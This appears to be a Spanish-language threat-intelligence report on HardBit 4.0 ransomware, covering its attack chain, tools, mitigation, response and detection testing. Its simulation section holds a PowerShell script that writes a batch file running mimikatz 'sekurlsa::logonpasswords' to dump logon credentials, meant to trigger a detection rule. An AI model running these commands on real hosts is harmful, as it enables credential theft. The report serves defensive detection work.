HardBit 4.0: Análisis de Ransomware y Hallazgos Clave

Ruslan Mikhalov Chief of Threat Research at SOC Prime

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HardBit 4.0: Análisis de Ransomware y Hallazgos Clave

Detection stack

AIDR
Alert
ETL
Query

Informe de Amenazas
Flujo de Ataque
Detecciones
Simulaciones

Resumen

HardBit 4.0 es una variante de ransomware que utiliza el infector de archivos Neshta como su cargador y se entrega en versiones tanto de CLI como de GUI. A diferencia de muchos grupos modernos, no está vinculado a un portal de filtraciones de doble extorsión y puede incluir una capacidad opcional de «Borrador» diseñada para dañar irreversiblemente los datos. La ejecución está controlada por un ID de autorización de tiempo de ejecución y una clave de cifrado, agregando efectivamente un control de estilo frase de contraseña antes de que comience el cifrado.

Investigación

La evaluación sugiere que el acceso inicial generalmente ocurre mediante actividad de fuerza bruta a través de RDP utilizando la herramienta NLBrute, seguido de la cosecha de credenciales a través de Mimikatz. El movimiento lateral se lleva a cabo luego a través de RDP con las credenciales robadas, apoyado por utilidades de descubrimiento y escaneo como KPortScan 3.0 y Advanced Port Scanner. Neshta se utiliza para soltar el ransomware en el directorio %TEMP% y persistir alterando el registro para que el malware se invoque cada vez que se inicie cualquier archivo .exe.

Mitigación

Requerir contraseñas fuertes y únicas para las cuentas habilitadas con RDP y reducir la exposición externa de RDP siempre que sea posible. Esté atento a los cambios en el registro asociados con la manipulación de Windows Defender y el svchost.com mecanismo de persistencia. Implementar lista de permitidos de aplicaciones y controles de comportamiento para detectar o bloquear el uso no autorizado de Mimikatz y herramientas de escaneo de red.

Respuesta

Si se encuentra actividad sospechosa, aísle el host, capture evidencia volátil y detenga el proceso de ransomware. Recupere los datos afectados de copias de seguridad confiables solo después de confirmar que el actor de la amenaza ha sido completamente removido. Complete la validación forense revisando las modificaciones del registro, las tareas programadas y cualquier artefacto de volcado de credenciales.

«graph TB %% Definiciones de clases classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Nodos de técnica tech_bruteforce[«Técnica – T1110 Fuerza bruta Intentos de adivinar contraseñas mediante la repetición de credenciales.»] class tech_bruteforce action tech_exploit_remote[«Técnica – T1210 Explotación de Servicios Remotos Usa credenciales válidas para acceder a sistemas vía RDP o SMB.»] class tech_exploit_remote action tech_cred_dump[«Técnica – T1003 Volcado de Credenciales del SO Extrae credenciales de la memoria o del registro.»] class tech_cred_dump action tech_discovery[«Técnica – T1018 Descubrimiento de Sistemas Remotos Enumera hosts, comparticiones y puertos abiertos.»] class tech_discovery action tech_rdp_lateral[«Técnica – T1021.001 Servicios Remotos: RDP Establece sesiones de RDP para movimiento lateral.»] class tech_rdp_lateral action tech_powershell[«Técnica – T1059.001 PowerShell Ejecuta comandos de PowerShell para modificar configuraciones de Defender.»] class tech_powershell action tech_obfuscation[«Técnica – T1027 Archivos o Información Ofuscada El binario de ransomware está ofuscado con .NETu2011 usando ConfuserEx.»] class tech_obfuscation action tech_proxy_exec[«Técnica – T1218 Ejecución de Proxy de Binarios del Sistema Usa ShellExecuteA para lanzar carga útil desde el instalador.»] class tech_proxy_exec action tech_persistence[«Técnica – T1547.014 Ejecución de Inicio Automático de Arranque o Inicio de Sesión: Configuración Activa Modifica el registro HKLM para persistencia.»] class tech_persistence action tech_event_trigger[«Técnica – T1546.002 Ejecución Disparada por Evento: Protector de Pantalla Ejecuta el instalador cuando se activa el salvapantallas.»] class tech_event_trigger action tech_encryption[«Técnica – T1486 Datos Cifrados para Impacto Cifra archivos y muestra nota de rescate.»] class tech_encryption action tech_inhibit_recovery[«Técnica – T1490 Inhibir la Recuperación del Sistema Elimina copias de sombra y desactiva servicios de respaldo.»] class tech_inhibit_recovery action tech_service_stop[«Técnica – T1489 Detención del Servicio Detiene servicios de seguridad y respaldo.»] class tech_service_stop action tech_disk_wipe[«Técnica – T1561 Borrado de Disco Detiene servicios y puede activar el modo de borrado para destruir datos.»] class tech_disk_wipe action %% Nodos de herramientas tool_nlbrute[«Herramienta – Nombre: NLBrute Descripción: Fuerza bruta en servicios RDP y SMB.»] class tool_nlbrute tool tool_mimikatz[«Herramienta – Nombre: Mimikatz Descripción: Vuelca credenciales de la memoria y SAM.»] class tool_mimikatz tool tool_kportscan[«Herramienta – Nombre: KPortScan Descripción: Escanea puertos en hosts remotos.»] class tool_kportscan tool tool_adv_port_scanner[«Herramienta – Nombre: Escáner Avanzado de Puertos Descripción: Enumera puertos abiertos y servicios.»] class tool_adv_port_scanner tool tool_new_exe[«Herramienta – Nombre: 5u2011NS new.exe Descripción: Escáner personalizado para enumeración de hosts.»] class tool_new_exe tool tool_powershell_cmd[«Herramienta – Nombre: Conjunto de PowerShellu2011 Preferencias MP Descripción: Desactiva funciones de Windows Defender.»] class tool_powershell_cmd tool tool_confuserex[«Herramienta – Nombre: ConfuserEx Descripción: Ofuscador .NET utilizado en binarios de ransomware.»] class tool_confuserex tool tool_shellexecute[«Herramienta – Nombre: API ShellExecuteA Descripción: Ejecuta archivos mediante binarios del sistema.»] class tool_shellexecute tool tool_vssadmin[«Herramienta – Nombre: vssadmin Descripción: Elimina copias de sombra de volumen.»] class tool_vssadmin tool tool_wbadmin[«Herramienta – Nombre: wbadmin Descripción: Desactiva servicios de respaldo.»] class tool_wbadmin tool tool_bcdedit[«Herramienta – Nombre: bcdedit Descripción: Modifica datos de configuración de arranque.»] class tool_bcdedit tool %% Conexiones entre técnicas tech_bruteforce u002du002d>|lleva_a| tech_exploit_remote tech_exploit_remote u002du002d>|lleva_a| tech_cred_dump tech_cred_dump u002du002d>|lleva_a| tech_discovery tech_discovery u002du002d>|lleva_a| tech_rdp_lateral tech_rdp_lateral u002du002d>|lleva_a| tech_powershell tech_powershell u002du002d>|lleva_a| tech_obfuscation tech_obfuscation u002du002d>|lleva_a| tech_proxy_exec tech_proxy_exec u002du002d>|lleva_a| tech_persistence tech_persistence u002du002d>|lleva_a| tech_event_trigger tech_event_trigger u002du002d>|lleva_a| tech_encryption tech_encryption u002du002d>|lleva_a| tech_inhibit_recovery tech_inhibit_recovery u002du002d>|lleva_a| tech_service_stop tech_service_stop u002du002d>|lleva_a| tech_disk_wipe %% Uso de herramienta por técnica tech_bruteforce u002du002d>|usa| tool_nlbrute tech_cred_dump u002du002d>|usa| tool_mimikatz tech_discovery u002du002d>|usa| tool_kportscan tech_discovery u002du002d>|usa| tool_adv_port_scanner tech_discovery u002du002d>|usa| tool_new_exe tech_powershell u002du002d>|usa| tool_powershell_cmd tech_obfuscation u002du002d>|usa| tool_confuserex tech_proxy_exec u002du002d>|usa| tool_shellexecute tech_inhibit_recovery u002du002d>|usa| tool_vssadmin tech_inhibit_recovery u002du002d>|usa| tool_wbadmin tech_inhibit_recovery u002du002d>|usa| tool_bcdedit «

Flujo de Ataque

Narrativa de Ataque y Comandos:
El adversario ha obtenido privilegios administrativos locales en una estación de trabajo comprometida. Para recoger credenciales, colocan un archivo batch personalizado llamado !start.bat en el mismo directorio que mimikatz.exe. El archivo batch simplemente lanza mimikatz con los comandos privilege::debug and sekurlsa::logonpasswords . Al invocar el archivo batch desde un indicador de PowerShell, la línea de comandos registrada por el Evento 4688 contendrá la cadena literal !start.bat, satisfaciendo la condición de detección.

Script de Prueba de Regresión:

# ---------------------------------------------------------
# Configuración: crear un directorio temporal y colocar mimikatz
# ---------------------------------------------------------
$tempDir = "$env:TEMPmimikatz_test"
New-Item -ItemType Directory -Force -Path $tempDir | Out-Null

# Asumir que mimikatz.exe está disponible en C:Toolsmimikatz.exe
Copy-Item -Path "C:Toolsmimikatz.exe" -Destination $tempDir -Force

# ---------------------------------------------------------
# Crear el script batch personalizado !start.bat
# ---------------------------------------------------------
$batPath = Join-Path $tempDir "!start.bat"
@'
@echo off
"mimikatz.exe" "privilege::debug" "sekurlsa::logonpasswords" exit
'@ | Set-Content -Path $batPath -Encoding ASCII

# ---------------------------------------------------------
# Ejecutar el script batch (este es el paso que debería disparar)
# ---------------------------------------------------------
$cmd = "cmd.exe /c `"$batPath`""
Start-Process -FilePath "cmd.exe" -ArgumentList "/c `"$batPath`"" -WorkingDirectory $tempDir -NoNewWindow

# ---------------------------------------------------------
# Esperar un corto periodo para asegurar que el evento esté registrado
# ---------------------------------------------------------
Start-Sleep -Seconds 5

Comandos de Limpieza:

# Eliminar el directorio temporal y todos los artefactos
Remove-Item -Path $tempDir -Recurse -Force

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Name	Descripiton
PHPSESSID	Preserves user session state across page requests. Cookie generated by applications based on the PHP language. This is a general purpose identifier used to maintain user session variables. It is normally a random generated number, how it is used can be specific to the site, but a good example is maintaining a logged-in status for a user between pages.
sp_i	Used to store information about authenticated User.
sp_r	Used to store information about authenticated User.
sp_a	Used to store information about authenticated User.

Name	Descripiton
tuuid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
tuuid_last_update	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
um	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
umeh	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
na_sc_x	Used by the social sharing platform AddThis to keep a record of parts of the site that has been visited in order to recommend other parts of the site.
APID	Collects anonymous data related to the user's visits to the website.
IDSYNC	Collects anonymous data related to the user's visits to the website.
_cc_aud	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_cc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_dc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_id	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
dpm	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
acs	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
clid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
KRTBCOOKIE_#	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PUBMDCID	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PugT	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
ssi	Registers a unique ID that identifies a returning user's device. The ID is used for targeted ads.
_tmid	Registers a unique ID that identifies the user's device upon return visits. The ID is used to target ads in video clips.
wam-sync	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
wui	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
AFFICHE_W	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
B	Collects anonymous data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The registered data is used to categorise the users' interest and demographical profiles with the purpose of customising the website content depending on the visitor.
1P_JAR	These cookies are used to gather website statistics, and track conversion rates.
APISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
HSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
NID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SAPISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SIDCC	Security cookie to protect users data from unauthorised access.
SSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
__utmx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.
__utmxx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.

Name	Descripiton
_hjid	Hotjar cookie. This cookie is set when the customer first lands on a page with the Hotjar script. It is used to persist the random user ID, unique to that site on the browser. This ensures that behavior in subsequent visits to the same site will be attributed to the same user ID.
_hjIncludedInSample	This cookie is associated with web analytics functionality and services from Hot Jar, a Malta based company. It uniquely identifies a visitor during a single browser session and indicates they are included in an audience sample.
intercom-id-[xxx]	This cookie is used by Intercom as a session so that users can continue a chat as they move through the site.
intercom-session-[xxx]	Used to keeping track of sessions and remember logins and conversations.
demdex	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
CookieConsent	Stores the user's cookie consent state for the current domain.
__cfduid	Used by the content network, Cloudflare, to identify trusted web traffic.
ss	These cookies enable the website to provide enhanced functionality and personalisation . They may be set by us or by third party providers whose services we have added to our pages. These services may include the Live Chat facility, Contact Us form(s), the Product Quotation forms and submission process, and the Email Newsletter sign up functionality .

Name	Descripiton
_ga	This cookie name is asssociated with Google Universal Analytics - which is a significant update to Google's more commonly used analytics service. This cookie is used to distinguish unique users by assigning a randomly generated number as a client identifier. It is included in each page. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. request in a site and used to calculate visitor, session and campaign data for the sites analytics reports. By default it is set to expire after 2 years, although this is customisable by website owners.
_gat	Used by Google Analytics to throttle request rate. This cookie name is associated with Google Universal Analytics, according to documentation it is used to throttle the request rate - limiting the collection of data on high traffic sites. It expires after 10 minutes.
_gid	This cookie name is asssociated with Google Universal Analytics. This appears to be a new cookie and as of Spring 2017 no information is available from Google. It appears to store and update a unique value for each page visited. Registers a unique ID that is used to generate statistical data on how the visitor uses the website.
IDE	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
r/collect	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
test_cookie	Used to check if the user's browser supports cookies.
collect	Used to send data to Google Analytics about the visitor's device and behaviour. Tracks the visitor across devices and marketing channels.
ads/user-lists/#	These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites.
c	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
khaos	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
put_#	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpb	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpx	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
tap.php	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.